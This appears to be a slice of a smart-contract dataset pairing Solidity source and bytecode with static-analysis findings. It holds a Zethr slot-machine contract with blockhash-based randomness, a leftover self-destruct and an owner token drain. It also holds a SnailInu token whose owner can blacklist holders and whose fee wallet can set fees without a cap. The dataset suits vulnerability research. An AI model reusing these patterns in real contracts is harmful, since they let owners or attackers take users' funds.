ffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c8361103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d43576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6509184e72a000811015610da2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180611731602a913960400191505060405180910390fd5b8060078190555050565b610db461103f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610efa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116c36026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015611035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806117d06024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611153576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116e96022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117ab6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116a06023913960400191505060405180910390fd5b611352610a3e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113c05750611390610a3e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561142157600754811115611420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061175b6028913960400191505060405180910390fd5b5b61142c83838361169a565b6114988160405180606001604052806026815260200161170b60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115da9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061152d81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fb790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611687576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561164c578082015181840152602081019050611631565b50505050905090810190601f1680156116795780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63656d61785478416d6f756e742073686f756c642062652067726561746572207468616e20313030303065395472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208d2217ac46c56a157b054c7d60af601cce7a572b3cd30eae83fada629faa92cf64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 376 |
0x009465879282117a55da964722c7e6fde72545d5 | pragma solidity ^0.4.24;
/*
* Zlots.
*
* Written August 2018 by the Zethr team for zethr.io.
*
* Initial code framework written by Norsefire.
*
* Rolling Odds:
* 55.1% - Lose
* 26.24% - 1.5x Multiplier - Two unmatched pyramids
* 12.24% - 2.5x Multiplier - Two matching pyramids
* 4.08% - 1x Multiplier - Three unmatched pyramids
* 2.04% - 8x Multiplier - Three matching pyramids
* 0.29% - 25x Multiplier - Z T H Jackpot
*
*/
contract ZTHReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zlots is ZTHReceivingContract {
using SafeMath for uint;
address private owner;
address private bankroll;
// How many bets have been made?
uint totalSpins;
uint totalZTHWagered;
// How many ZTH are in the contract?
uint contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
address private ZTHTKNADDR;
address private ZTHBANKROLL;
ZTHInterface private ZTHTKN;
mapping (uint => bool) validTokenBet;
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
bool _win
);
event Loss(
address _wagerer
);
event Jackpot(
address _wagerer
);
event EightXMultiplier(
address _wagerer
);
event ReturnBet(
address _wagerer
);
event TwoAndAHalfXMultiplier(
address _wagerer
);
event OneAndAHalfXMultiplier(
address _wagerer
);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gameActive == true);
_;
}
constructor(address ZethrAddress, address BankrollAddress) public {
// Set Zethr & Bankroll address from constructor params
ZTHTKNADDR = ZethrAddress;
ZTHBANKROLL = BankrollAddress;
// Set starting variables
owner = msg.sender;
bankroll = ZTHBANKROLL;
// Approve "infinite" token transfer to the bankroll, as part of Zethr game requirements.
ZTHTKN = ZTHInterface(ZTHTKNADDR);
ZTHTKN.approve(ZTHBANKROLL, 2**256 - 1);
// For testing purposes. This is to be deleted on go-live. (see testingSelfDestruct)
ZTHTKN.approve(owner, 2**256 - 1);
// To start with, we only allow spins of 5, 10, 25 or 50 ZTH.
validTokenBet[5e18] = true;
validTokenBet[10e18] = true;
validTokenBet[25e18] = true;
validTokenBet[50e18] = true;
gameActive = true;
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _stakeTokens for validation.
struct TKN { address sender; uint value; }
function tokenFallback(address _from, uint _value, bytes /* _data */) public returns (bool){
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn);
return true;
}
struct playerSpin {
uint200 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn) private {
require(gameActive);
require(_zthToken(msg.sender));
require(validTokenBet[_tkn.value]);
require(jackpotGuard(_tkn.value));
require(_tkn.value < ((2 ** 200) - 1)); // Smaller than the storage of 1 uint200;
require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
contractBalance = contractBalance.add(_wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint200(_wagered);
// Store the roll struct - 20k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += 1;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin() public
gameIsActive
returns (uint)
{
return _finishSpin(msg.sender);
}
/*
* Pay winners, update contract balance, send rewards where applicable.
*/
function _finishSpin(address target)
private returns (uint)
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint profit = 0;
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 9999; // Can't win: default to largest number
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(10000, spin.blockn, target);
}
if (result > 4489) {
// Player has lost.
emit Loss(target);
emit LogResult(target, result, profit, spin.tokenValue, false);
} else {
if (result < 29) {
// Player has won the 25x jackpot
profit = SafeMath.mul(spin.tokenValue, 25);
emit Jackpot(target);
} else {
if (result < 233) {
// Player has won a 8x multiplier
profit = SafeMath.mul(spin.tokenValue, 8);
emit EightXMultiplier(target);
} else {
if (result < 641) {
// Player has won their wager back
profit = spin.tokenValue;
emit ReturnBet(target);
} else {
if (result < 1865) {
// Player has won a 2.5x multiplier
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10);
emit TwoAndAHalfXMultiplier(target);
} else {
// Player has won a 1.5x multiplier (result lies between 1865 and 4489
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15), 10);
emit OneAndAHalfXMultiplier(target);
}
}
}
}
emit LogResult(target, result, profit, spin.tokenValue, true);
contractBalance = contractBalance.sub(profit);
ZTHTKN.transfer(target, profit);
}
playerSpins[target] = playerSpin(uint200(0), uint48(0));
return result;
}
// This sounds like a draconian function, but it actually just ensures that the contract has enough to pay out
// a jackpot at the rate you've selected (i.e. 1250 ZTH for jackpot on a 50 ZTH roll).
// We do this by making sure that 25* your wager is no less than 50% of the amount currently held by the contract.
// If not, you're going to have to use lower betting amounts, we're afraid!
function jackpotGuard(uint _wager)
public
view
returns (bool)
{
uint maxProfit = SafeMath.mul(_wager, 25);
uint halfContractBalance = SafeMath.div(contractBalance, 2);
return (maxProfit <= halfContractBalance);
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
// How many tokens are in the contract overall?
function balanceOf() public view returns (uint) {
return contractBalance;
}
function addNewBetAmount(uint _tokenAmount)
public
onlyOwner
{
validTokenBet[_tokenAmount] = true;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame() public onlyOwner {
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame() public onlyOwner {
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner) public onlyOwner {
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll) public onlyOwner {
bankroll = _newBankroll;
}
// Any dividends acquired by this contract is automatically triggered.
function divertDividendsToBankroll()
public
onlyOwner
{
bankroll.transfer(address(this).balance);
}
function testingSelfDestruct()
public
onlyOwner
{
// Give me back my testing tokens :)
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
}
}
// And here's the boring bit.
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631fc9cee881146100d15780633cc4c6ce1461011c578063499831f2146101315780636199075914610146578063722713f71461017c578063934354e714610191578063943bd25d146101a65780639de518ba146101be578063a6f9dae1146101d3578063a78bcf6e146101f4578063b62d430114610215578063c0ee0b8a1461022a578063ebf5cdfd146102a7578063f020044f146102bf575b005b3480156100dd57600080fd5b506100f2600160a060020a03600435166102d4565b60408051600160c860020a03909316835265ffffffffffff90911660208301528051918290030190f35b34801561012857600080fd5b506100cf610300565b34801561013d57600080fd5b506100cf610326565b34801561015257600080fd5b5061016a600435600160a060020a0360243516610349565b60408051918252519081900360200190f35b34801561018857600080fd5b5061016a6103ea565b34801561019d57600080fd5b5061016a6103f0565b3480156101b257600080fd5b506100cf600435610415565b3480156101ca57600080fd5b506100cf610447565b3480156101df57600080fd5b506100cf600160a060020a036004351661049b565b34801561020057600080fd5b506100cf600160a060020a03600435166104e1565b34801561022157600080fd5b506100cf610527565b34801561023657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610293948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506105f49650505050505050565b604080519115158252519081900360200190f35b3480156102b357600080fd5b50610293600435610625565b3480156102cb57600080fd5b5061029361064f565b600960205260009081526040902054600160c860020a0381169060c860020a900465ffffffffffff1682565b600054600160a060020a0316331461031757600080fd5b6005805460ff19166001179055565b600054600160a060020a0316331461033d57600080fd5b6005805460ff19169055565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106103b75780518252601f199092019160209182019101610398565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b60045490565b60055460009060ff16151560011461040757600080fd5b61041033610658565b905090565b600054600160a060020a0316331461042c57600080fd5b6000908152600860205260409020805460ff19166001179055565b600054600160a060020a0316331461045e57600080fd5b600154604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610498573d6000803e3d6000fd5b50565b600054600160a060020a031633146104b257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a031633146104f857600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461053e57600080fd5b6007546000805460048054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0394851693810193909352602483019190915251919093169263a9059cbb9260448083019360209390929083900390910190829087803b1580156105ba57600080fd5b505af11580156105ce573d6000803e3d6000fd5b505050506040513d60208110156105e457600080fd5b5050600054600160a060020a0316ff5b60006105fe610e22565b600160a060020a03851681526020810184905261061a81610b64565b506001949350505050565b6000806000610635846019610d7c565b91506106446004546002610db2565b909111159392505050565b60055460ff1681565b6000610662610e22565b50600160a060020a0382166000908152600960209081526040808320815180830190925254600160c860020a03811680835260c860020a90910465ffffffffffff16928201929092529190819081106106ba57600080fd5b602083015165ffffffffffff164314156106d357600080fd5b6000915060ff836020015165ffffffffffff16430311156106f7575061270f610713565b610710612710846020015165ffffffffffff1687610dc9565b90505b6111898111156107bf5760408051600160a060020a038716815290517ff23d349389162f862ceb43c2ae74e32fa655b1412e25312df0c6a8db487d93f09181900360200190a1825160408051600160a060020a038816815260208101849052808201859052600160c860020a03909216606083015260006080830152517f0f89dfa4cc1f7c1a75982c7ec34503a2028bef6badb0dd10366a08b4d9d12f099181900360a00190a1610ac7565b601d8110156108235782516107de90600160c860020a03166019610d7c565b60408051600160a060020a038816815290519193507f251bdb61db1db8d10ba877c91e7b9fc6a30b9d088dff8edf3131dac1b733a449919081900360200190a16109af565b60e981101561088757825161084290600160c860020a03166008610d7c565b60408051600160a060020a038816815290519193507f50099dd30f462fb91489f20c24e8b1a8fa5d1d99bd0ccf8b08c0f22d360e1458919081900360200190a16109af565b6102818110156108e257825160408051600160a060020a03881681529051600160c860020a0390921693507fdfc16484225552d0ee29cf8f69213e951597111575666888853b0e7fded8587b919081900360200190a16109af565b6107498110156109535761090e6109078460000151600160c860020a03166019610d7c565b600a610db2565b60408051600160a060020a038816815290519193507fd89bd3475207c60ee850f14fdfef40418c7750bb6501e8f4cb2aa71b5f9dd226919081900360200190a16109af565b61096e6109078460000151600160c860020a0316600f610d7c565b60408051600160a060020a038816815290519193507fecb88ec9494095ffa14ed47e842b370415df30ee5060b3d7a74a1cd46f8a5951919081900360200190a15b825160408051600160a060020a038816815260208101849052808201859052600160c860020a03909216606083015260016080830152517f0f89dfa4cc1f7c1a75982c7ec34503a2028bef6badb0dd10366a08b4d9d12f099181900360a00190a1600454610a23908363ffffffff610de816565b6004908155600754604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0389811694820194909452602481018690529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015610a9a57600080fd5b505af1158015610aae573d6000803e3d6000fd5b505050506040513d6020811015610ac457600080fd5b50505b60408051808201825260008082526020808301828152600160a060020a038a168352600990915292902090518154925165ffffffffffff1660c860020a027fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff600160c860020a039290921678ffffffffffffffffffffffffffffffffffffffffffffffffff19909416939093171691909117905592505050919050565b600080610b6f610e22565b60055460ff161515610b8057600080fd5b610b8933610dfa565b1515610b9457600080fd5b60208085015160009081526008909152604090205460ff161515610bb757600080fd5b610bc48460200151610625565b1515610bcf57600080fd5b6020840151600160c860020a0311610be657600080fd5b65ffffffffffff4310610bf857600080fd5b50508151602080840151600160a060020a038316600090815260098352604090819020815180830190925254600160c860020a038116825260c860020a900465ffffffffffff169281019290925260045492935091610c579083610e13565b600455602081015165ffffffffffff16431415610c7357600080fd5b602081015165ffffffffffff1615610c92578351610c9090610658565b505b4365ffffffffffff9081166020838101918252600160c860020a0385811685528751600160a060020a0390811660009081526009845260409081902087518154965178ffffffffffffffffffffffffffffffffffffffffffffffffff199097169416939093177fff000000000000ffffffffffffffffffffffffffffffffffffffffffffffffff1660c860020a9590961694909402949094179055600280546001019055600380548601905581519286168352820184905280517fffec332ee2fd2582418c268a644e2f4b7a2f50cd3b4cf74e4adc3a524e0af5029281900390910190a150505050565b600080831515610d8f5760009150610dab565b50828202828482811515610d9f57fe5b0414610da757fe5b8091505b5092915050565b6000808284811515610dc057fe5b04949350505050565b600083610dd68484610349565b811515610ddf57fe5b06949350505050565b600082821115610df457fe5b50900390565b6005546101009004600160a060020a0390811691161490565b600082820183811015610da757fe5b6040805180820190915260008082526020820152905600a165627a7a7230582021ffa2f3ed4cf250ccd0eff3df7527dca07b28a0c236a576f0ccf84103f9fda00029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 377 |
0xbe564169fddb49ab73e40e286a0a0a3f69cf93f8 | /**
* https://t.me/snailinuETH
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SnailInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0x02E9a11682ad6940972065723C1b9F1dF22a3D82);
address payable private _feeAddrWallet2 = payable(0x03349Daf5313910b0e98575D699eFc684B542311);
string private constant _name = "Snail Inu";
string private constant _symbol = "SNAIL";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
